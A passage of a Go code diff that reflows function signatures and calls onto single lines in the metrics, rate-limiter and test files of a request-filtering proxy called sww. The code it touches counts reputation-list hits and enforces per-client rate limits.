|
|
||||||
) {
|
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||||
Name: "sww_lookup_database_last_read_timestamp_seconds",
|
Name: "sww_lookup_database_last_read_timestamp_seconds",
|
||||||
@@ -308,38 +274,24 @@ const sourceLabel = "source"
|
|||||||
// metrics are asked for, for a list, the fetches that failed and when the
|
// metrics are asked for, for a list, the fetches that failed and when the
|
||||||
// copy in use was fetched, and for a zone, the queries made and those that
|
// copy in use was fetched, and for a zone, the queries made and those that
|
||||||
// failed. It is called once, before ReputationHit.
|
// failed. It is called once, before ReputationHit.
|
||||||
func (m *Metrics) AddReputation(
|
func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
|
||||||
lists *reputation.Lists,
|
m.reputationHits = counterVec("sww_reputation_hits_total",
|
||||||
dnsbl *reputation.DNSBL,
|
|
||||||
) {
|
|
||||||
m.reputationHits = counterVec(
|
|
||||||
"sww_reputation_hits_total",
|
|
||||||
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
|
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
|
||||||
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
|
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
|
||||||
[]string{sourceLabel},
|
[]string{sourceLabel})
|
||||||
)
|
|
||||||
m.registry.MustRegister(m.reputationHits)
|
m.registry.MustRegister(m.reputationHits)
|
||||||
|
|
||||||
for _, zone := range dnsbl.Zones() {
|
for _, zone := range dnsbl.Zones() {
|
||||||
source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
|
source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
|
||||||
|
|
||||||
m.addReputationQueries(
|
m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) })
|
||||||
source,
|
m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) })
|
||||||
func() int { return dnsbl.Queries(zone) },
|
|
||||||
)
|
|
||||||
m.addReputationFailures(
|
|
||||||
source,
|
|
||||||
func() int { return dnsbl.Failures(zone) },
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, listURL := range lists.URLs() {
|
for _, listURL := range lists.URLs() {
|
||||||
source := prometheus.Labels{sourceLabel: listURL}
|
source := prometheus.Labels{sourceLabel: listURL}
|
||||||
|
|
||||||
m.addReputationFailures(
|
m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
|
||||||
source,
|
|
||||||
func() int { return lists.Failures(listURL) },
|
|
||||||
)
|
|
||||||
m.registry.MustRegister(
|
m.registry.MustRegister(
|
||||||
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
prometheus.NewGaugeFunc(prometheus.GaugeOpts{
|
||||||
Name: "sww_reputation_last_fetch_timestamp_seconds",
|
Name: "sww_reputation_last_fetch_timestamp_seconds",
|
||||||
@@ -441,10 +393,7 @@ func (m *Metrics) RequestStarted() {
|
|||||||
|
|
||||||
// RequestEnded counts a request that has ended without being passed to the app,
|
// RequestEnded counts a request that has ended without being passed to the app,
|
||||||
// from its log line. duration is how long the request took.
|
// from its log line. duration is how long the request took.
|
||||||
func (m *Metrics) RequestEnded(
|
func (m *Metrics) RequestEnded(line *requestlog.Line, duration time.Duration) {
|
||||||
line *requestlog.Line,
|
|
||||||
duration time.Duration,
|
|
||||||
) {
|
|
||||||
m.inFlight.Dec()
|
m.inFlight.Dec()
|
||||||
m.count(line, duration, 0)
|
m.count(line, duration, 0)
|
||||||
}
|
}
|
||||||
@@ -498,8 +447,8 @@ func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
|
|||||||
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
|
||||||
}
|
}
|
||||||
|
|
||||||
// StateFileWritten counts a write of the state or cache file name, of size
|
// StateFileWritten counts a write of the state file name, of size bytes,
|
||||||
// bytes, that ended with err.
|
// that ended with err.
|
||||||
func (m *Metrics) StateFileWritten(name string, size int, err error) {
|
func (m *Metrics) StateFileWritten(name string, size int, err error) {
|
||||||
m.stateFileWrites.WithLabelValues(name).Inc()
|
m.stateFileWrites.WithLabelValues(name).Inc()
|
||||||
|
|
||||||
@@ -517,13 +466,13 @@ func (m *Metrics) StateFileWritten(name string, size int, err error) {
|
|||||||
m.stateFileSize.WithLabelValues(name).Set(float64(size))
|
m.stateFileSize.WithLabelValues(name).Set(float64(size))
|
||||||
}
|
}
|
||||||
|
|
||||||
// StateFileEditTakenIn counts an admin's edit of the state or cache file name
|
// StateFileEditTakenIn counts an admin's edit of the state file name
|
||||||
// taken in while sww runs.
|
// taken in while sww runs.
|
||||||
func (m *Metrics) StateFileEditTakenIn(name string) {
|
func (m *Metrics) StateFileEditTakenIn(name string) {
|
||||||
m.stateFileEditsTakenIn.WithLabelValues(name).Inc()
|
m.stateFileEditsTakenIn.WithLabelValues(name).Inc()
|
||||||
}
|
}
|
||||||
|
|
||||||
// StateFileEditSetAside counts an admin's edit of the state or cache file name
|
// StateFileEditSetAside counts an admin's edit of the state file name
|
||||||
// renamed to name.bad because it did not parse.
|
// renamed to name.bad because it did not parse.
|
||||||
func (m *Metrics) StateFileEditSetAside(name string) {
|
func (m *Metrics) StateFileEditSetAside(name string) {
|
||||||
m.stateFileEditsSetAside.WithLabelValues(name).Inc()
|
m.stateFileEditsSetAside.WithLabelValues(name).Inc()
|
||||||
@@ -536,10 +485,8 @@ func (m *Metrics) count(
|
|||||||
) {
|
) {
|
||||||
class := statusClass(line.Status)
|
class := statusClass(line.Status)
|
||||||
m.requests.WithLabelValues(class, line.Action).Inc()
|
m.requests.WithLabelValues(class, line.Action).Inc()
|
||||||
m.requestBytes.WithLabelValues(class, line.Action).
|
m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes))
|
||||||
Add(float64(line.RequestBytes))
|
m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes))
|
||||||
m.responseBytes.WithLabelValues(class, line.Action).
|
|
||||||
Add(float64(line.ResponseBytes))
|
|
||||||
m.requestDuration.Observe(duration.Seconds())
|
m.requestDuration.Observe(duration.Seconds())
|
||||||
|
|
||||||
if upstreamDuration > 0 {
|
if upstreamDuration > 0 {
|
||||||
@@ -557,10 +504,7 @@ func (m *Metrics) count(
|
|||||||
|
|
||||||
// addReputationQueries adds the counter of the queries to source, a DNSBL
|
// addReputationQueries adds the counter of the queries to source, a DNSBL
|
||||||
// zone, or of the checks of clients with AbuseIPDB, which count tells.
|
// zone, or of the checks of clients with AbuseIPDB, which count tells.
|
||||||
func (m *Metrics) addReputationQueries(
|
func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
|
||||||
source prometheus.Labels,
|
|
||||||
count func() int,
|
|
||||||
) {
|
|
||||||
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
Name: "sww_reputation_queries_total",
|
Name: "sww_reputation_queries_total",
|
||||||
Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
|
Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
|
||||||
@@ -573,10 +517,7 @@ func (m *Metrics) addReputationQueries(
|
|||||||
// addReputationFailures adds the counter of the fetches of source, a
|
// addReputationFailures adds the counter of the fetches of source, a
|
||||||
// list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
|
// list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
|
||||||
// that failed, which count tells.
|
// that failed, which count tells.
|
||||||
func (m *Metrics) addReputationFailures(
|
func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
|
||||||
source prometheus.Labels,
|
|
||||||
count func() int,
|
|
||||||
) {
|
|
||||||
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
|
||||||
Name: "sww_reputation_failures_total",
|
Name: "sww_reputation_failures_total",
|
||||||
Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
|
Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
|
||||||
@@ -603,17 +544,12 @@ func statusClass(status int) string {
|
|||||||
// counterVec returns a counter named name, described by help, with a
|
// counterVec returns a counter named name, described by help, with a
|
||||||
// series for each set of values of labels.
|
// series for each set of values of labels.
|
||||||
func counterVec(name, help string, labels []string) *prometheus.CounterVec {
|
func counterVec(name, help string, labels []string) *prometheus.CounterVec {
|
||||||
return prometheus.NewCounterVec(
|
return prometheus.NewCounterVec(prometheus.CounterOpts{Name: name, Help: help},
|
||||||
prometheus.CounterOpts{Name: name, Help: help},
|
labels)
|
||||||
labels,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// gaugeVec returns a gauge named name, described by help, with a series
|
// gaugeVec returns a gauge named name, described by help, with a series
|
||||||
// for each set of values of labels.
|
// for each set of values of labels.
|
||||||
func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec {
|
func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec {
|
||||||
return prometheus.NewGaugeVec(
|
return prometheus.NewGaugeVec(prometheus.GaugeOpts{Name: name, Help: help}, labels)
|
||||||
prometheus.GaugeOpts{Name: name, Help: help},
|
|
||||||
labels,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
@@ -27,11 +27,7 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
|
|||||||
// refused.
|
// refused.
|
||||||
{Status: 404},
|
{Status: 404},
|
||||||
} {
|
} {
|
||||||
limiter.AddToHistory(
|
limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r)
|
||||||
client,
|
|
||||||
start.Add(time.Duration(i)*time.Minute),
|
|
||||||
r,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
want := ratelimit.History{
|
want := ratelimit.History{
|
||||||
@@ -67,13 +63,7 @@ func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
|
|||||||
|
|
||||||
// A later answer replaces it, and one for a client the table does not
|
// A later answer replaces it, and one for a client the table does not
|
||||||
// hold adds no client.
|
// hold adds no client.
|
||||||
limiter.AddLookup(
|
limiter.AddLookup(client, start.Add(time.Hour), "AS64497", "Other Net", "FR")
|
||||||
client,
|
|
||||||
start.Add(time.Hour),
|
|
||||||
"AS64497",
|
|
||||||
"Other Net",
|
|
||||||
"FR",
|
|
||||||
)
|
|
||||||
limiter.AddLookup(other, start, "AS64496", "Example Net", "DE")
|
limiter.AddLookup(other, start, "AS64496", "Example Net", "DE")
|
||||||
|
|
||||||
want := ratelimit.History{
|
want := ratelimit.History{
|
||||||
@@ -106,11 +96,7 @@ func TestResetKeepsTheHistory(t *testing.T) {
|
|||||||
|
|
||||||
for range limit {
|
for range limit {
|
||||||
wantCount(t, limiter, client, start, "")
|
wantCount(t, limiter, client, start, "")
|
||||||
limiter.AddToHistory(
|
limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
|
||||||
client,
|
|
||||||
start,
|
|
||||||
ratelimit.Request{Forwarded: true},
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
limiter.Reset(client)
|
limiter.Reset(client)
|
||||||
|
|||||||
@@ -241,8 +241,7 @@ func (l *Limiter) OverARateLimit(client netip.Prefix, now time.Time) bool {
|
|||||||
buckets := c.buckets()
|
buckets := c.buckets()
|
||||||
|
|
||||||
for i, w := range l.windows {
|
for i, w := range l.windows {
|
||||||
if w.limit > 0 &&
|
if w.limit > 0 && buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
|
||||||
buckets[i].Add(now, w.length, 0)+1 > float64(w.limit) {
|
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -272,12 +271,7 @@ func (l *Limiter) CountRefusal(
|
|||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
|
|
||||||
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
|
count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1)
|
||||||
hit := Hit{
|
hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count}
|
||||||
Kind: KindRefusals,
|
|
||||||
Window: "minute",
|
|
||||||
Limit: threshold,
|
|
||||||
Count: count,
|
|
||||||
}
|
|
||||||
|
|
||||||
return hit, count > float64(threshold)
|
return hit, count > float64(threshold)
|
||||||
}
|
}
|
||||||
@@ -298,11 +292,7 @@ func (l *Limiter) Reset(client netip.Prefix) {
|
|||||||
|
|
||||||
// AddToHistory adds r, a request from client at now, to the client's
|
// AddToHistory adds r, a request from client at now, to the client's
|
||||||
// history.
|
// history.
|
||||||
func (l *Limiter) AddToHistory(
|
func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
|
||||||
client netip.Prefix,
|
|
||||||
now time.Time,
|
|
||||||
r Request,
|
|
||||||
) {
|
|
||||||
l.mu.Lock()
|
l.mu.Lock()
|
||||||
defer l.mu.Unlock()
|
defer l.mu.Unlock()
|
||||||
|
|
||||||
@@ -480,13 +470,7 @@ func (l *Limiter) count(
|
|||||||
for i, w := range l.windows {
|
for i, w := range l.windows {
|
||||||
requestCounts[i] = requestBuckets[i].Add(now, w.length, requests)
|
requestCounts[i] = requestBuckets[i].Add(now, w.length, requests)
|
||||||
byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes)
|
byteCounts[i] = byteBuckets[i].Add(now, w.length, bytes)
|
||||||
limit, byteLimit := percentOf(
|
limit, byteLimit := percentOf(w.limit, percent), percentOf(w.byteLimit, percent)
|
||||||
w.limit,
|
|
||||||
percent,
|
|
||||||
), percentOf(
|
|
||||||
w.byteLimit,
|
|
||||||
percent,
|
|
||||||
)
|
|
||||||
|
|
||||||
switch {
|
switch {
|
||||||
case hit.Window != "":
|
case hit.Window != "":
|
||||||
|
|||||||
@@ -26,17 +26,13 @@ const (
|
|||||||
hour = "hour"
|
hour = "hour"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(
|
func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
now := midnight()
|
now := midnight()
|
||||||
limiter := ratelimit.New(
|
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
|
||||||
ratelimit.Limits{PerMinute: limit, PerDay: limit + 1},
|
tableSize)
|
||||||
tableSize,
|
|
||||||
)
|
|
||||||
|
|
||||||
if limiter.OverARateLimit(client, now) {
|
if limiter.OverARateLimit(client, now) {
|
||||||
t.Error("a client never seen is over a rate limit")
|
t.Error("a client never seen is over a rate limit")
|
||||||
@@ -48,9 +44,7 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(
|
|||||||
|
|
||||||
for range limit {
|
for range limit {
|
||||||
if limiter.OverARateLimit(client, now) {
|
if limiter.OverARateLimit(client, now) {
|
||||||
t.Error(
|
t.Error("a client with room for another request is over a rate limit")
|
||||||
"a client with room for another request is over a rate limit",
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCount(t, limiter, client, now, "")
|
wantCount(t, limiter, client, now, "")
|
||||||
@@ -62,11 +56,7 @@ func TestOverARateLimitSaysWhatTheNextRequestWouldDoAndCountsNothing(
|
|||||||
|
|
||||||
held, _ := limiter.Client(client)
|
held, _ := limiter.Client(client)
|
||||||
if held.Minute.Current != limit {
|
if held.Minute.Current != limit {
|
||||||
t.Errorf(
|
t.Errorf("the client's minute holds %d requests, want %d", held.Minute.Current, limit)
|
||||||
"the client's minute holds %d requests, want %d",
|
|
||||||
held.Minute.Current,
|
|
||||||
limit,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCount(t, limiter, client, now, minute)
|
wantCount(t, limiter, client, now, minute)
|
||||||
@@ -109,13 +99,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
|
|||||||
// A quarter into the next bucket, the window still covers three
|
// A quarter into the next bucket, the window still covers three
|
||||||
// quarters of the bucket before, with its four requests: 3 + 1
|
// quarters of the bucket before, with its four requests: 3 + 1
|
||||||
// is over the limit.
|
// is over the limit.
|
||||||
wantCount(
|
wantCount(t, limiter, client, start.Add(tc.length+quarter), tc.window)
|
||||||
t,
|
|
||||||
limiter,
|
|
||||||
client,
|
|
||||||
start.Add(tc.length+quarter),
|
|
||||||
tc.window,
|
|
||||||
)
|
|
||||||
|
|
||||||
// Three quarters into it, a quarter: 1 + 2 is within.
|
// Three quarters into it, a quarter: 1 + 2 is within.
|
||||||
wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "")
|
wantCount(t, limiter, client, start.Add(tc.length+3*quarter), "")
|
||||||
@@ -126,10 +110,7 @@ func TestEachWindowRefusesAtItsLimitAndLetsTheClientBack(t *testing.T) {
|
|||||||
func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
|
func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(
|
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: limit}, tableSize)
|
||||||
ratelimit.Limits{PerMinute: limit, PerHour: limit},
|
|
||||||
tableSize,
|
|
||||||
)
|
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -147,22 +128,16 @@ func TestHitGivesTheLimitAndTheRequestsCounted(t *testing.T) {
|
|||||||
Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1,
|
Kind: ratelimit.KindRequests, Window: minute, Limit: limit, Count: limit + 1,
|
||||||
}
|
}
|
||||||
if !over || hit != want {
|
if !over || hit != want {
|
||||||
t.Errorf(
|
t.Errorf("request over the limit gives %+v and %t, want %+v and true",
|
||||||
"request over the limit gives %+v and %t, want %+v and true",
|
hit, over, want)
|
||||||
hit,
|
|
||||||
over,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
|
func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(
|
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
|
||||||
ratelimit.Limits{PerMinute: 5, BytesPerDay: math.MaxInt64},
|
tableSize)
|
||||||
tableSize,
|
|
||||||
)
|
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -176,19 +151,9 @@ func TestClientGetsItsPercentageOfEachLimitRoundedDown(t *testing.T) {
|
|||||||
|
|
||||||
_, hit, over := limiter.Count(client, start, 50)
|
_, hit, over := limiter.Count(client, start, 50)
|
||||||
|
|
||||||
want := ratelimit.Hit{
|
want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: minute, Limit: 2, Count: 3}
|
||||||
Kind: ratelimit.KindRequests,
|
|
||||||
Window: minute,
|
|
||||||
Limit: 2,
|
|
||||||
Count: 3,
|
|
||||||
}
|
|
||||||
if !over || hit != want {
|
if !over || hit != want {
|
||||||
t.Errorf(
|
t.Errorf("the third request gives %+v and %t, want %+v and true", hit, over, want)
|
||||||
"the third request gives %+v and %t, want %+v and true",
|
|
||||||
hit,
|
|
||||||
over,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Half of the largest byte limit is still far above a TiB: working it
|
// Half of the largest byte limit is still far above a TiB: working it
|
||||||
@@ -203,10 +168,8 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// Only the hour has limits: the minute's and the day's are off.
|
// Only the hour has limits: the minute's and the day's are off.
|
||||||
limiter := ratelimit.New(
|
limiter := ratelimit.New(ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
|
||||||
ratelimit.Limits{PerHour: limit, BytesPerHour: 1000},
|
tableSize)
|
||||||
tableSize,
|
|
||||||
)
|
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -214,24 +177,14 @@ func TestZeroPercentIsAZeroAllowanceAndALimitOffStaysOff(t *testing.T) {
|
|||||||
// hour's limits, which are 0; the minute's, which are off, stay off.
|
// hour's limits, which are 0; the minute's, which are off, stay off.
|
||||||
_, hit, _ := limiter.Count(client, start, 0)
|
_, hit, _ := limiter.Count(client, start, 0)
|
||||||
|
|
||||||
want := ratelimit.Hit{
|
want := ratelimit.Hit{Kind: ratelimit.KindRequests, Window: hour, Limit: 0, Count: 1}
|
||||||
Kind: ratelimit.KindRequests,
|
|
||||||
Window: hour,
|
|
||||||
Limit: 0,
|
|
||||||
Count: 1,
|
|
||||||
}
|
|
||||||
if hit != want {
|
if hit != want {
|
||||||
t.Errorf("the first request gives %+v, want %+v", hit, want)
|
t.Errorf("the first request gives %+v, want %+v", hit, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
_, hit, _ = limiter.CountBytes(client, start, 1, 0)
|
_, hit, _ = limiter.CountBytes(client, start, 1, 0)
|
||||||
|
|
||||||
want = ratelimit.Hit{
|
want = ratelimit.Hit{Kind: ratelimit.KindBytes, Window: hour, Limit: 0, Count: 1}
|
||||||
Kind: ratelimit.KindBytes,
|
|
||||||
Window: hour,
|
|
||||||
Limit: 0,
|
|
||||||
Count: 1,
|
|
||||||
}
|
|
||||||
if hit != want {
|
if hit != want {
|
||||||
t.Errorf("the first byte gives %+v, want %+v", hit, want)
|
t.Errorf("the first byte gives %+v, want %+v", hit, want)
|
||||||
}
|
}
|
||||||
@@ -262,23 +215,13 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
|
|||||||
t.Fatal("600 bytes are over the limit of 1000")
|
t.Fatal("600 bytes are over the limit of 1000")
|
||||||
}
|
}
|
||||||
|
|
||||||
_, hit, over := limiter.CountBytes(
|
_, hit, over := limiter.CountBytes(client, midnight(), 600, whole)
|
||||||
client,
|
|
||||||
midnight(),
|
|
||||||
600,
|
|
||||||
whole,
|
|
||||||
)
|
|
||||||
|
|
||||||
want := ratelimit.Hit{
|
want := ratelimit.Hit{
|
||||||
Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200,
|
Kind: ratelimit.KindBytes, Window: tc.window, Limit: byteLimit, Count: 1200,
|
||||||
}
|
}
|
||||||
if !over || hit != want {
|
if !over || hit != want {
|
||||||
t.Errorf(
|
t.Errorf("1200 bytes give %+v and %t, want %+v and true", hit, over, want)
|
||||||
"1200 bytes give %+v and %t, want %+v and true",
|
|
||||||
hit,
|
|
||||||
over,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -287,10 +230,8 @@ func TestEachByteLimitIsBrokenByTheBytesCounted(t *testing.T) {
|
|||||||
func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
|
func TestALimitIsBrokenOnlyByWhatIsAddedToIt(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(
|
limiter := ratelimit.New(ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
|
||||||
ratelimit.Limits{PerMinute: 2, BytesPerMinute: 1000},
|
tableSize)
|
||||||
tableSize,
|
|
||||||
)
|
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
other := netip.MustParsePrefix("203.0.113.10/32")
|
other := netip.MustParsePrefix("203.0.113.10/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
@@ -360,10 +301,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
|||||||
|
|
||||||
for range limit {
|
for range limit {
|
||||||
if _, over := limiter.CountRefusal(client, start, limit); over {
|
if _, over := limiter.CountRefusal(client, start, limit); over {
|
||||||
t.Fatalf(
|
t.Fatalf("a refusal within the threshold of %d broke the error burst", limit)
|
||||||
"a refusal within the threshold of %d broke the error burst",
|
|
||||||
limit,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -373,21 +311,13 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
|||||||
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
|
Kind: ratelimit.KindRefusals, Window: minute, Limit: limit, Count: limit + 1,
|
||||||
}
|
}
|
||||||
if !over || hit != want {
|
if !over || hit != want {
|
||||||
t.Errorf(
|
t.Errorf("one over the threshold broke it: %t, with %+v; want %+v", over, hit,
|
||||||
"one over the threshold broke it: %t, with %+v; want %+v",
|
want)
|
||||||
over,
|
|
||||||
hit,
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Half a minute into the next, half of those four still count, 2, and
|
// Half a minute into the next, half of those four still count, 2, and
|
||||||
// this one: 3, within the threshold.
|
// this one: 3, within the threshold.
|
||||||
hit, over = limiter.CountRefusal(
|
hit, over = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
|
||||||
client,
|
|
||||||
start.Add(time.Minute+time.Minute/2),
|
|
||||||
limit,
|
|
||||||
)
|
|
||||||
if over || hit.Count != 3 {
|
if over || hit.Count != 3 {
|
||||||
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
|
t.Errorf("half a minute on, %v refusals broke it: %t; want 3, false",
|
||||||
hit.Count, over)
|
hit.Count, over)
|
||||||
@@ -396,11 +326,7 @@ func TestRefusalsOverTheThresholdInAMinuteBreakTheErrorBurst(t *testing.T) {
|
|||||||
// A ban sets them back to zero.
|
// A ban sets them back to zero.
|
||||||
limiter.Reset(client)
|
limiter.Reset(client)
|
||||||
|
|
||||||
hit, _ = limiter.CountRefusal(
|
hit, _ = limiter.CountRefusal(client, start.Add(time.Minute+time.Minute/2), limit)
|
||||||
client,
|
|
||||||
start.Add(time.Minute+time.Minute/2),
|
|
||||||
limit,
|
|
||||||
)
|
|
||||||
if hit.Count != 1 {
|
if hit.Count != 1 {
|
||||||
t.Errorf("after a reset, %v refusals, want 1", hit.Count)
|
t.Errorf("after a reset, %v refusals, want 1", hit.Count)
|
||||||
}
|
}
|
||||||
@@ -421,11 +347,7 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
|
|||||||
// hour still covers three quarters of the bucket before, with its three
|
// hour still covers three quarters of the bucket before, with its three
|
||||||
// requests, which count 2.25, and this one: 3.25. The day covers all
|
// requests, which count 2.25, and this one: 3.25. The day covers all
|
||||||
// four.
|
// four.
|
||||||
counts, _, _ := limiter.Count(
|
counts, _, _ := limiter.Count(client, start.Add(time.Hour+time.Hour/4), whole)
|
||||||
client,
|
|
||||||
start.Add(time.Hour+time.Hour/4),
|
|
||||||
whole,
|
|
||||||
)
|
|
||||||
|
|
||||||
want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4}
|
want := ratelimit.Counts{Minute: 1, Hour: 3.25, Day: 4}
|
||||||
if counts != want {
|
if counts != want {
|
||||||
@@ -436,10 +358,7 @@ func TestCountGivesTheRequestsInEachWindow(t *testing.T) {
|
|||||||
func TestResetSetsTheCountsBackToZero(t *testing.T) {
|
func TestResetSetsTheCountsBackToZero(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(
|
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerDay: limit}, tableSize)
|
||||||
ratelimit.Limits{PerMinute: limit, PerDay: limit},
|
|
||||||
tableSize,
|
|
||||||
)
|
|
||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
|
|
||||||
@@ -480,10 +399,8 @@ func TestClientBackAfterAWholeBucketIsWithinTheLimitAtOnce(t *testing.T) {
|
|||||||
func TestRefusedRequestsCount(t *testing.T) {
|
func TestRefusedRequestsCount(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
limiter := ratelimit.New(
|
limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
|
||||||
ratelimit.Limits{PerMinute: limit, PerHour: 2 * limit},
|
tableSize)
|
||||||
tableSize,
|
|
||||||
)
|
|
||||||
refused := netip.MustParsePrefix("203.0.113.9/32")
|
refused := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
within := netip.MustParsePrefix("203.0.113.10/32")
|
